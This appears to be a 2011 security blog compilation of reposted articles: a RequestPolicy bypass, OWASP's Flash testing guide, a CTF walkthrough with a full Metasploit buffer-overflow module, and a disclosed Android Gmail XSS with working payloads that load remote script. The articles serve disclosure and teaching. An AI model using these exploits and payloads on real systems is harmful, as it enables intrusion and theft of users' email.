Feb 19, 2011

Bypassing "RequestPolicy" Using Protocol Relative URLs

Most web developers don't seem to know what a protocol relative URL is, or rather, they don't consider them when parsing URLs. In the past week, I've found two separate security holes because protocol relative URLs weren't considered. The first was mentioned in my article about security problems with a new site called Convore. The second allows a complete bypass of the security restrictions provided by the Firefox addon, "RequestPolicy", which has 10's of thousands of users (ref).
A protocol relative URL is a really simple to understand concept. If I wanted to link to https://www.facebook.com/ from the page you're currently reading (which uses the https protocol), instead of creating an anchor tag like this:
<a href="https://www.facebook.com/">Facebook</a>
I can create an anchor tag like this:
<a href="//www.facebook.com/">Facebook</a>
Because the URL starts with two slashes and doesn't specify the protocol, it prefixes the current protocol in use. This isn't just for anchor tags. This is for any resource that you load in a web page, and even works in HTTP Location and Refresh headers.

Now, onto the RequestPolicy hack...

Responsible disclosure: I reported this to the RequestPolicy author to give them a chance to fix it before publishing. It has been fixed in the latest beta version (0.5.19b1). If you can't wait for the stable version to be released with the fix, then you can join the beta channel by installing the latest beta.

If I link to a resource in a different origin, using a script tag or similar, RequestPolicy blocks it by default. Example:
<script type="text/javascript" src="https://evilwebsite.example.com/script.js"></script>
You're thinking I'm just going to turn that into a protocol relative URL, but no, that's not it. RequestPolicy still handles protocol relative URLs there fine. However, if I link to a local resource instead:
<script type="text/javascript" src="/redirect_to_evil_script.cgi"></script>
And if that "redirect_to_evil_script.cgi" file simply prints out this:
Location: //evilwebsite.example.com/script.js
Status: 302
Then the script from a different origin loads, without RequestPolicy blocking it. Add a protocol to that URL, and RequestPolicy blocks it as expected. One of the main features of RequestPolicy is that it prevents CSRF attacks, but using this method would let the CSRF through.

The mistake that developers make is assuming that a URL starting with a '/' doesn't cross origins.
Source: https://grepular.com/Bypassing_RequestPolicy_Using_Protocol_Relative_URLs

Testing for Cross site flashing (OWASP-DV-004)

Brief Summary

ActionScript is the language, based on ECMAScript, used by Flash applications when dealing with interactive needs. There are three versions of the ActionScript language. ActionScript 1.0 and ActionScript 2.0 are very similar with ActionScript 2.0 being an extension of ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a rewrite of the language to support object orientated design.
ActionScript, like every other language, has some implementation patterns which could lead to security issues.
In particular, since Flash applications are often embedded in browsers, vulnerabilities like DOM based Cross Site Scripting could be present in flawed Flash applications.

Description of the Issue

Since the first publication of "Testing Flash Applications" [1], new versions of Flash player were released in order to mitigate some of the attacks which will be described. Nevertheless, some issues still remain exploitable because they are the result of insecure programming practices.

Gray Box testing and example

Decompilation

Since SWF files are interpreted by a virtual machine embedded in the player itself, they can be potentially decompiled and analysed. The most known and free ActionScript 2.0 decompiler is flare.
To decompile a SWF file with flare just type:
$ flare hello.swf
it will result in a new file called hello.flr.
Decompilation helps testers because it allows for source code assisted, or white-box, testing of the Flash applications.
HP's free SWFScan tool can decompile both ActionScript 2.0 and ActionScript 3.0 SWFScan
The OWASP Flash Security Project maintains a list of current disassemblers, decompilers and other Adobe Flash related testing tools.

Undefined Variables FlashVars

FlashVars are the variables that the SWF developer planned on receiving from the web page. FlashVars are typically passed in from the Object or Embed tag within the HTML. For instance:
<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0">
 <param name="movie" value="somefilename.swf">
 <param name="FlashVars" value="var1=val1&var2=val2">
 <embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2">
</embed>
</object>
FlashVars can also be initialized from the URL:
  http://www.example.org/somefilename.swf?var1=val1&var2=val2
In ActionScript 3.0, a developer must explicitly assign the FlashVar values to local variables. Typically, this looks like:
 var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
 var var1:String = String(paramObj["var1"]);
 var var2:String = String(paramObj["var2"]);
In ActionScript 2.0, any uninitialized global variable is assumed to be a FlashVar. Global variables are those variables that are prepended by _root, _global or _level0. This means that if an attribute like:
_root.varname 
is undefined throughout the code flow, it could be overwritten by setting
http://victim/file.swf?varname=value
Regardless of whether you are looking at ActionScript 2.0 or ActionScript 3.0, FlashVars can be a vector of attack. Let's look at some ActionScript 2.0 code that is vulnerable:
Example:
  movieClip 328 __Packages.Locale {

    #initclip
      if (!_global.Locale) {
        var v1 = function (on_load) {
          var v5 = new XML();
          var v6 = this;
          v5.onLoad = function (success) {
            if (success) {
              trace('Locale loaded xml');
              var v3 = this.xliff.file.body.$trans_unit;
              var v2 = 0;
              while (v2 < v3.length) {
                Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
                ++v2;
              }
              on_load();
            } else {}
          };
          if (_root.language != undefined) {
            Locale.DEFAULT_LANG = _root.language;
          }
          v5.load(Locale.DEFAULT_LANG + '/player_' +
                              Locale.DEFAULT_LANG + '.xml');
        };
The above code could be attacked by requesting:
http://victim/file.swf?language=http://evil.example.org/malicious.xml?

Unsafe Methods

When an entry point is identified, the data it represents could be used by unsafe methods. If the data is not filtered/validated using the right regexp it could lead to some security issue.
Unsafe Methods since version r47 are:
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load 
LoadVars.send 
XML.load ( 'url' )
LoadVars.load ( 'url' ) 
Sound.loadSound( 'url' , isStreaming ); 
NetStream.play( 'url' );

flash.external.ExternalInterface.call(_root.callback)

htmlText

The Test

In order to exploit a vulnerability, the swf file should be hosted on the victim's host, and the techniques of reflected XSS must be used. That is forcing the browser to load a pure swf file directly in the location bar (by redirection or social engineering) or by loading it through an iframe from an evil page:
<iframe src='http://victim/path/to/file.swf'></iframe>
This is because in this situation the browser will self-generate an HTML page as if it were hosted by the victim host.

XSS

GetURL (AS2) / NavigateToURL (AS3):
The GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browser's window. So if an undefined variable is used as the first argument for getURL:
getURL(_root.URI,'_targetFrame');
Or if a FlashVar is used as the parameter that is passed to a navigateToURL function:
var request:URLRequest = new URLRequest(FlashVarSuppliedURL);  
navigateToURL(request);
Then this will mean it's possible to call JavaScript in the same domain where the movie is hosted by requesting:
http://victim/file.swf?URI=javascript:evilcode

 getURL('javascript:evilcode','_self');
The same when only some part of getURL is controlled:
Dom Injection with Flash JavaScript injection
 
 getUrl('javascript:function('+_root.arg+')) 
asfunction:
You can use the special asfunction protocol to cause 
the link to execute an ActionScript function in a
SWF file instead of opening a URL..." (Adobe.com)
Until release Flash Player 9 r48 asfunction could be used on every method which has a URL as an argument. After that release, asfunction was restricted to use within an HTML TextField.
This means that a tester could try to inject:
asfunction:getURL,javascript:evilcode
in every unsafe method like:
loadMovie(_root.URL)
by requesting:
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode

ExternalInterface:
ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0.
From a security point of view it could be abused when part of its argument could be controlled:
flash.external.ExternalInterface.call(_root.callback);
the attack pattern for this kind of flaw should be something like the following: eval(evilcode)
since the internal JavaScript which is executed by the browser will be something similar to:
eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')

HTML Injection

TextField Objects can render minimal HTML by setting:
tf.html = true
tf.htmlText = '<tag>text</tag>'
So if some part of text could be controlled by the tester, an A tag or an IMG tag could be injected resulting in modifying the GUI or XSS the browser.
Some attack examples with A Tag:
  • Direct XSS: <a href='javascript:alert(123)' >
  • Call a function: <a href='asfunction:function,arg' >
  • Call SWF public functions:
<a href='asfunction:_root.obj.function, arg'>
  • Call native static as function:
<a href='asfunction:System.Security.allowDomain,evilhost' >
IMG tag could be used as well:
<img src='http://evil/evil.swf' >
<img src='javascript:evilcode//.swf' > (.swf is necessary to bypass flash player internal filter)
Note: since release Flash Player 9.0.124.0 of Flash player XSS is no longer exploitable, but GUI modification could still be accomplished.

Cross Site Flashing

Cross Site Flashing (XSF) is a vulnerability which has a similar impact as XSS.
XSF Occurs when from different domains:
  • One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it
  • XSF could also occurs when an HTML page uses JavaScript to command an Adobe Flash movie, for example, by calling:
    • GetVariable: access to flash public and static object from JavaScript as a string.
    • SetVariable: set a static or public flash object to a new string value from JavaScript.
  • Unexpected Browser to SWF communication could result in stealing data from the SWF application.
It could be performed by forcing a flawed SWF to load an external evil flash file.
This attack could result in XSS or in the modification of the GUI in order to fool a user to insert credentials on a fake flash form.
XSF could be used in the presence of Flash HTML Injection or external SWF files when loadMovie* methods are used.

Open redirectors

SWFs have the capability to navigate the browser. If the SWF takes the destination in as a FlashVar, then the SWF may be used as an open redirector. An open redirector is any piece of website functionality on a trusted website that an attacker can use to redirect the end-user to a malicious website. These are frequently used within phishing attacks. Similar to cross-site scripting, the attack involves a user clicking on a malicious link. In the Flash case, the malicious URL might look like:
http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-spoofing-website.org/phishEndUsers.html
In the above example, an end-user might see the URL begins with their favorite trusted website and click on it. The link would load the trusted SWF which takes the getURLValue and provides it to an ActionScript browser navigation call:
getURL(_root.getURLValue,"_self");
This would navigate the browser to the malicious URL provided by the attacker. At this point, the phisher has successfully leveraged the trusted the user has in trusted.example.org to trick the user into their malicious website. From their, they could launch a 0-day, conduct spoofing of the original website, or any other type of attack. SWFs may unintentionally be acting as an open-redirector on the website.
Developers should avoid taking full URLs as FlashVars. If they only plan to navigate within their own website, then they should use relative URLs or verify that the URL begins with a trusted domain and protocol.

Attacks and Flash Player Version

Since May 2007, three new versions of Flash player were released by Adobe. Every new version restricts some of the attacks previously described.
| Attack         | asfunction | ExternalInterface | GetURL  | Html Injection | 
| Player Version |
| v9.0 r47/48    |  Yes       |   Yes             | Yes     |     Yes        |
| v9.0 r115      |  No        |   Yes             | Yes     |     Yes        |
| v9.0 r124      |  No        |   Yes             | Yes     |     Partially  |
Result Expected:

Cross Site Scripting and Cross Site Flashing are the expected results on a flawed SWF file.

References

OWASP

Whitepapers

Tools

Source: http://www.owasp.org/index.php/Testing_for_Cross_site_flashing_%28OWASP-DV-004%29

Detecting IE Versions in JavaScript without User Agent Sniffing or Feature Detection

วิธีการตรวจสอบว่าเว็บบราวเซอร์ที่เข้ามาในเว็บไซด์ของเราว่าเป็น Browser อะไร โดยไม่จำเป็นต้องตรวจดูที่ User-Agent แต่ใช้ Javascript แทนครับ

I'm now using James Padolsey's solution to this problem typically instead of the following. Browser sniffing is generally frown upon, but there's a massive gorilla in the room: Internet Explorer. While needing JavaScript workarounds specifically for IE are far rarer than CSS, I still find myself needing to use different code for IE - when animating PNG-24s, for instance. Most of us (at least, those of us using jQuery) have grown accustomed to using jQuery.browser for this purpose - even if we know it's not the best practice.
When browser capabilities or implementations differ, feature detection is vastly preferred to user agent detection. However, as Nicholas Zakas points out, feature detection is not browser detection and like him I am reluctant to say there's never a use-case for browser sniffing.
Because of this, I decided to come up with a method of detecting Internet Explorer as an extension to my preferred method of targeting IE through conditional comments that doesn't actually sniff the user agent string.
So, without beating around the bush, here's the little tiny script:
(function () {
    var classes = "|" + document.body.className.split(' ').join('|') + "|";
    window.isIE = {
        any  : classes.indexOf('|ie|')   !== -1,
        v6   : classes.indexOf('|ie6|')  !== -1,
        v7   : classes.indexOf('|ie7|')  !== -1,
        v8   : classes.indexOf('|ie8|')  !== -1,
        v9   : classes.indexOf('|ie9|')  !== -1,
        lte7 : classes.indexOf('|lte7|') !== -1,
        lte8 : classes.indexOf('|lte8|') !== -1,
        lte9 : classes.indexOf('|lte9|') !== -1
    };
})();
Placing this script in a script block immediately after the opening body tag, you will have access to a global object called isIE which contains boolean values that can be used to target JavaScript to Internet Explorer when used in conjunction with the aforementioned body class method and a minified version of the script - a whopping 314 bytes.
<!--[if lt IE 7]>  <body class="ie ie6 lte9 lte8 lte7"> <![endif]-->
<!--[if IE 7]>     <body class="ie ie7 lte9 lte8 lte7"> <![endif]-->
<!--[if IE 8]>     <body class="ie ie8 lte9 lte8">      <![endif]-->
<!--[if IE 9]>     <body class="ie ie9 lte9">           <![endif]-->
<!--[if gt IE 9]>  <body class="ie">                    <![endif]-->
<!--[if !IE]><!--> <body>                               <!--<![endif]-->
<script>
(function(){var a="|"+document.body.className.split(" ").join("|")+"|";window.isIE={any:a.indexOf("|ie|")!==-1,v6:a.indexOf("|ie6|")!==-1,v7:a.indexOf("|ie7|")!==-1,v8:a.indexOf("|ie8|")!==-1,v9:a.indexOf("|ie9|")!==-1,lte7:a.indexOf("|lte7|")!==-1,lte8:a.indexOf("|lte8|")!==-1,lte9:a.indexOf("|lte9|")!==-1}})();
</script>
Following this, you will then be able to do something like the following:
if (isIE.lte7) {
    alert("I am Internet Explorer 7 or lower!");
} else {
    alert("I am NOT Internet Explorer 7 or lower!");
}
And all without sniffing the user agent string. It's not awesome, but it's mildly less awful.

Source: http://misteroneill.com/detecting-ie-versions-in-javascript-without-user-agent-sniffing-or-feature-detection/

Feb 17, 2011

Packet Sniffer

Android packet sniffer is an app which allows to capture and display WIFI, and Bluetooth traffic
on the android phone.
 
This APP is for ROOTED PHONES ONLY.
You have to be root on your phone, and have the "su" command installed.
 
App Install process:
  
This app is based on the tcpdump package therefor it have to be installed manually.

1. Download and Install PacketSniffer App from the market or from the following direct link.
2. Copy the precompiled TCPDUMP file to the "/data"  library on your phone:    
            -    first make sure your "/data" library has READ and WRITE privileges. if not use:  "chmod 777 data" 
            -    in order to copy use the following command if you have ADB :"adb push c:\locationOfTheTcpdumpFile /data"
            -    in case you don't have ADB you can copy the tcpdump file to the SD card and do:  "cat /sdcard/tcpdump > /data/tcpdump 
3. Give the tcpdump file Read Write and Exec privileges :    "chmod 777 /data/tcpdump"
 
Thats it you are ready to go.
 
 
                                                        

The main layout of the app allows you to initiate a Wifi or a Bluetooth wireless traffic capture service.
It means that you can close the app and the capture will still continue, until you deactivate it.
Before you start to capture you can pick weather to save the captured data on a local SQL DB on the device
or on to a file on the SD card.

When you had enough data captured, you can use the Statistic Analysis or the Statistic Advanced layouts
to analyse the data you have captured by performing various searches on the packets.
  

Here are few examples of packets captured by the application:
 

 
 
 
If you have any suggestions or remarks regarding the application
feel free to contact me via mail:AndroidArtsTeam@gmail.com
or leave a remark on the android market.

If you appreciate our work and want to support future developments, you are welcome to place a donation.

Source: http://sites.google.com/site/androidarts/packet-sniffer

OWASP Appsec Tutorial Series - Episode 2: Injection Attacks


Video Tutorial series ของ OWASP อันที่ 2 โดยคราวนี้เกี่ยวกับ Injection ต่างๆครับ


The second episode in the OWASP Appsec Tutorial Series. This episode describes the #1 attack on the OWASP top 10 - injection attacks. This episode illustrates SQL Injection, discusses other injection attacks, covers basic fixes, and then recommends resources for further learning. 




 Source: http://www.youtube.com/watch?v=pypTYPaU7mM&feature=player_profilepage

Feb 15, 2011

From vulnerability to exploit under 5 min

Almost a month ago in the excellent group of NOVA Hackers! ( http://novahackers.blogspot.com/ ), a group of security professionals, security enthusiasts and friends a capture the flag challenge was posted. In that challenge one should find a way to exploit a binary file ( http://novactf.org/files/ctf-january-2011-files.rar ) that is listening on a specific port and write a metasploit exploit module . The ctf challenge was not meant to be extremely difficult it was meant to be for fun. Let's see how using the proper tools, one can write a metasploit, exploit, module under 5 min.

Tools that you will need, and tools that i like to work with,
Immunity Debugger ( http://www.immunityinc.com/products-immdbg.shtml )
Pvefindaddr ( http://redmine.corelan.be:8800/projects/pvefindaddr )
Metasploit Framework ( http://www.metasploit.com/framework/download/ )

Let's see how simple could be to write a simple buffer overflow with the proper tools.

Phase 1.
Fire up the debugger open the file,
Phase 2.
Start the executable from the debugger, pressing F9 or the run button.

Phase 3.
Generate a string of characters and send it to crash the application using metasploit
Phase 4.
At this point the application is crashed and the debugger will be displaying an Access Violation, for our good chance several registers are overwritten also with our string,
Phase 5.
Pvefindaddr to the rescue! This is almost considering cheating writing an exploit with the help of pvefinaddr, let's make it quick then, execute !pvefindaddr suggest on the debugger and check the log for the results.
What else could we ask from the tool, maybe to write the metasploit module by itself and post it on the exploit-db.com :-)

Phase 6.
Take the data and put them in a nice metasploit module. What is left here is a proper jmp eax instruction, pvefindaddr again will give us what we need.
Phase 7.
Take a simple metasploit exploit template ( http://www.corelan.be:8800/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/ ) or from any other module in the metasploit directory add your values and you are done !

#
# Custom metasploit exploit
# Written by Nicolas Krassas
# Date 24/01/2011
# This is initial version
#
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

      include Msf::Exploit::Remote::Tcp

      def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Custom vulnerable server stack overflow',
                        'Description'    => %q{
                                        This module exploits a stack overflow in a
                                        custom vulnerable server.
                                             },
                        'Author'         => [ 'Nicolas Krassas' ],
                        'Version'        => '$Revision: 9999 $',
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 1000,
                                        'BadChars' => "",
                                },
                        'Platform'       => 'win',

                        'Targets'        =>
                                [
                                        ['Windows XP SP2 Eng',
                                          { 'Ret' => 0x662F3435, 'Offset' => 260 } ],
                                        ['Windows XP SP3 Eng',
                                          { 'Ret' => 0x662F3425, 'Offset' => 260 } ],
                                ],
                        'DefaultTarget' => 0,

                        'Privileged'     => false
                        ))

                        register_options(
                        [
                                Opt::RPORT(1337)
                        ], self.class)
       end

       def exploit
          connect

          junk = make_nops(target['Offset'])
          sploit = junk + [target.ret].pack('V') + make_nops(4) + payload.encoded
          sock.put(sploit)

          handler
          disconnect

       end
end



Did it took 5 min, maybe not but it's neither far from it. Another nice tutorial on metasploit exploit code development using pvefindaddr that you can find is from sickness at Exploit Development Made Easy with !pvefindaddr .
 
Source: http://0entropy.blogspot.com/2011/02/from-vulnerability-to-exploit-under-5.html

Kaspersky Anti-virus Databases decryption tool


Hi guys:
I am vessial, kaspersky anti-virus fans, recently i write a AVP databases decryption tool, download from here http://www.mamushi.tk/tools/AVPBase_parser.rar,you can decrypt the kaspersky anti-virus Base easily.
you can find the signature of the many virus name and signature, i just do the research for decrypt these *.kdc file, haven’t parser the decrypted
virus signature records, so you need you reverse engineering the signature’s structure if you want to research it more deeply, actually you can
get more helps from the leaks kaspersky AVP8 source code, because some header files have some definition of the virus signature structure and records.

Source: http://www.mamushi.tk/blog/?p=7

Cachedump for meterpreter

Cachedump post exploitation module for Metasploit.
 Source: http://lab.mediaservice.net/code.php#cachedump

Android Gmail App: Stealing Emails via XSS


This post documents an XSS vulnerability that I discovered in the default Gmail app (v1.3) provided by Google in Android 2.1 and prior. All versions included in Android up to and including 2.1 seem to be affected, but the bug was unintentionally patched in Froyo (2.2) when Google updated the application to v2.3. The vulnerability let an attacker execute arbitrary Javascript in a local context on the phone, which made it possible to read the victim's emails (and the contacts mentioned in those emails) off of the phone, download certain files to phone (and open them), and more easily perform various other attacks that have previously been documented to take further control of the phone. Less seriously, it was also possible to crash the application repeatedly, resulting in a denial-of-service situation. The flaw has now been fixed via server-side patch to the Gmail API.

Discovery

During a night of drinking a couple months ago, I got into a discussion with my roommate (his personal blog, cause I promised) about what characters are valid in email addresses. Although many filters only allow [a-zA-Z0-9_-] plus maybe a few more as valid characters in the local-part of the address, I was convinced that I had previously seen email addresses that used characters outside of that character set, as well as filters that allowed for a wider range of characters. As I normally do during bouts of drinking, I immediately consulted the RFC to settle the dispute (RFC 5322). Sure enough, it is apparently allowed, but discouraged, under the RFC to have an email address in the following format: "i<3whate\/er"@mydomain.com . As long as the quotation marks are present, it is technically a valid email address.
Seeing that this might trip up the ill-informed, I decided to see if Gmail handled this case correctly. I wrote up a quick test in Python and used one of the many open SMTP relays on campus (another rant for another time) to shoot an email at my Gmail account. While the main Gmail interface handled the problem with relative ease (there were some small pattern matching issues when replying), I was a little surprised to see something like the following when I opened the email on my phone:
Android XSS Initial
Android XSS Initial
Clearly, there was an XSS vulnerability in the Gmail app. The root cause, upon further investigation, was that the application was using the raw source email address as an ID for the contact presence image (the online/offline icon). An honest mistake, given the extremely limited use of special characters in email addresses, but serious nonetheless. To see if the issue affected all versions of Android, I sent one to my roommate (who has Froyo), and one to my rather outdated emulator running Android 1.5. The flaw was present in 1.5, but Froyo's version was unaffected. I haven't tested on versions between 1.5 and 2.1, but I would assume that the bug has been present the entire time. To prove that I could indeed execute Javascript, I first tried sending an email with the following from address:
"><script>window.location='http://google.com'</script>"@somedmn.com
However, this email got blocked by Gmail's spam filters. Although at first I thought that they might be aware of the vulnerability and had tried to mitigate it, it quickly became apparent that it was simply blocking all emails with "<" in the from address. Weird, but not a show stopper. To get around this, I used the fact that the XSS was present in the image tag and abused the onload attribute for execution:
" onload=window.location='http://google.com'"@somedmn.com
Sure enough, the email got through, and when viewed, I ended up looking at Google!
Android XSS Google
Android XSS Google

Exploitation

While redirecting to Google is fun and all, doing anything more complicated required some work. Achieving arbitrary execution was somewhat of a small challenge, given that the email address is limited by the RFC to 254 characters in length, I could not use any "<" symbols because of the Gmail filter, and, I could not use any quotation marks in the actual Javascript. To complicate matters, a simple document.write("<script>window.location='http://google.com'</script>") didn't work in this situation. However, in spite of these things, I was able to throw together a payload that updates the DOM correctly and creates a script tag with a remote source, weighing in at ~225 characters with the domain attached.
Escaped:
" onload='var f=String.fromCharCode;var d=document;var s=d.createElement(f(83,67,82,73,80,84));s.src=f(47,47,66,73,84,46,76,89,47,105,51,51,72,100,86);d.getElementsByTagName(f(72,69,65,68))[0].appendChild(s);' "@somedmn.com
Unescaped:
" onload='var d=document;var s=d.createElement("SCRIPT");s.src="//BIT.LY/i33HdV";d.getElementsByTagName("HEAD")[0].appendChild(s);' "@somedmn.com
Of course, this is in all likelihood not the best way I could of done this, but it worked well. I'd love to see better solutions if people have them.
EDIT: Here's a much cleaner and simpler version, courtesy of R (see comments). I especially liked the use of an attribute for storing the URL string.
" title='http://bit.ly/i33HdV' onload='d=document;(s=d.createElement(/script/.source)).src=this.title;d.getElementsByTagName(/head/.source)[0].appendChild(s)' "@somedmn.com
With this in place, I could now do some more interesting things. First, I dumped the page source so I could see better how exactly the application worked. The Gmail app is closed source and the page is dynamically generated in the Java code, so it was useful to get a dump of that . I also grabbed the Gmail apk and unzipped it, which gave me the Javascript API available to the application. I would provide this code, but I don't want to get into any copyright issues by distributing it here (it's pretty easy to get on your own, anyway). Finally, vaguely following Thomas Cannon's wonderful guide on Android reversing, I decompiled the Java bytecode of the app to get a better idea of what I might be able to do.
Probably the easiest way to exploit this vulnerability would be simply to launch a phishing attack that redirects users to a fake mobile Gmail login page, in the hopes that they will happily log in to continue viewing their emails. However, this was not a particularly interesting or creative thing to do with the vulnerability, simple though it may be.
After reading through some of the code, the main attack that jumped out at me was to dump emails off the phone. Using some very simple Javascript, one could simply grab all the emails on the phone and submit them to a remote server. Doing things this way might not be practical in a real attack though, given the time it would take to gather every email on the device. A better technique is to utilize cross origin requests to send each email as it's being queried, meaning that an attacker will get the emails as soon as they're queried (naive demo code here). To give the attacker more time to gather emails, one could run the dumping code while also doing something like periodically spamming the user with requests to add a contact, giving the attack precious time to collect more data.  Rather than dumping all the emails, though, a smarter use of this exploit would be to reset a user's password to another service, and then send an attack email soon afterwards. If the target opened it, we could simply grab the last 2 or 3 emails and easily gain access to the account we reset.
In addition to the email dumping, some other interesting functions caught my eye: download, preview, and showExternalResources. Although not used anywhere in the script.js file that I grabbed from the apk file, these methods were public in the decompiled Java API, meaning they could be called via Javascript in the window. Using these functions with the proper parameters, it was possible to download arbitrary files to the phone without permission, cause external resources to be rendered, and to automatically open various attached files (such as document files). Obviously, all of these would provide an easy vector for various attacks.
Beyond these more serious problems, it was also possible to do various odd things, like prompt the user to add a contact, set a label, open up a new email to a target of our choosing, or automatically open up a forward/reply message to an email. Overall though, the Javascript API in the app did a fairly good job at preventing abuse, at least when compared to platforms such as WebOS. I was unable in my tests to gain unrestricted access to sending permissions or further compromise data on the phone beyond the emails without using other vulnerabilities.
One must also keep in mind that beyond these vulnerability-specific threats, the flaw also allowed for much easier (and quieter) exploitation of other vulnerabilities that have been found by other researchers, including the data-stealing bug and various arbitrary code execution vulnerabilities in WebKit (like this). It also allowed for the exploitation of any number of file format bugs that might have been found in the future. Exploiting any of these would be as easy as getting a user to open up an email. Worse, the user would have no idea until it was too late, as one could set the From header appropriately to make the email look legitimate (i.e., to something other than Test :P ):
Android XSS Inbox
Android XSS Inbox
And yes, that email executes arbitrary Javascript (shown here trying to add the user "Test;--" to the contact list):
Android XSS Add Contact
Android XSS Add Contact

Disclosure

I found the bug on 12/3/2010, and I contacted Google about 24 hours after I discovered it and confirmed it was exploitable. I received a quick initial response, but patching of the vulnerability on the server side was not completed until 1/28/11, apparently because of decreased staffing levels over the holiday. The patch was applied server-side in the Gmail API, and works by converting the special characters into their corresponding HTML entities. The Google security people were, as in all my previous communications with them, polite and professional, and I want to thank them for addressing the issue in a reasonable timeframe.
Overall, it was a pretty interesting vulnerability, and it was a good opportunity for me to learn a little more about Android. I had a good time familiarizing myself with the platform, and hopefully I will be able to do some more interesting things with it in the future. It has also definitely made me think twice before I open emails on my phone, which is probably for the best. Hopefully once these platforms become more mature, we won't see as many of these simple but serious vulnerabilities. However, if the maturation process we've observed in other security domains is any indication, I wouldn't hold your breath. It's going to take time.

Source: http://spareclockcycles.org/2011/02/11/android-gmail-app-stealing-emails-via-xss/

Facebook open JavaScript hole

บทความเกี่ยวกับช่องโหว่ที่อาจจะเกิดขึ้น  หลังจาก Facebook เปลี่ยนแปลงหน้า Facebook Pages และเปิดให้ Developer Facebook Markup Language(FBML) สามารถใส่ iframe,javascript เข้าไปใน apps ได้  โดยที่หากเป็นอย่างนั้นเราจะรู้ได้ไงว่า App. นั้นปลอดภัยกับเราจริงๆ

รายละเอียดที่เหลือตามด้านล่างครับ
 
Yesterday Facebook made some important changes to the way in Facebook Pages, the fan pages set up by brands, bands and even cucumbers could be created.

In the past the tabs which could be added to these pages have been set up in two ways; the first used the Facebook FBML app. This allowed page tabs to be created using static Facebook Markup Language (FBML) or HTML, it wasn’t particularly engaging but it was very simple to use. The second method for creating page tabs was by adding a custom Facebook app inside a standard FBML tab. This meant the custom app could request external data from a third party and display it inside the page tab. This content though was subject to many technical limitations, as it was all proxied through Facebook which broke many things including tracking pixels, JavaScript and Flash.

So what is the big change? Well Facebook now allow iframes to be included inside Facebook apps on page tabs, meaning that all that Facebook proxying can be avoided. While this is no doubt great news for legitimate developers it will undoubtedly make life for those with malicious intent much easier too.

It is now possible to set up a Facebook page, create a default landing tab (the one you first see when you visit the page) and include an app that contains an iframe. That iframe can for example contain JavaScript which immediately and without user interaction redirects you to any site it chooses. Say for example a page containing Fake AV or a page where an exploit kit is waiting to silently infect you with malware.

No more likejacking required, no more having to persuade users to install your app, if a criminal can make the bait sweet enough just to get you to visit the page, that is all they will require to start the chain that leads to your computer being compromised and used for criminal purposes.

Of course Facebook ask their developers to agree to a code of conduct that prohibits such activities, but when it comes to criminals, that’s a bit like taking a driving license away from a joyrider.

I have informed Facebook of this oversight in their new functionality and will update this blog posting if I hear back from them.

Source: http://countermeasures.trendmicro.eu/facebook-open-javascript-hole/
 

Sponsors

lusovps.com

Blogroll

About

 Please subscribe my blog.

 Old Subscribe

Share |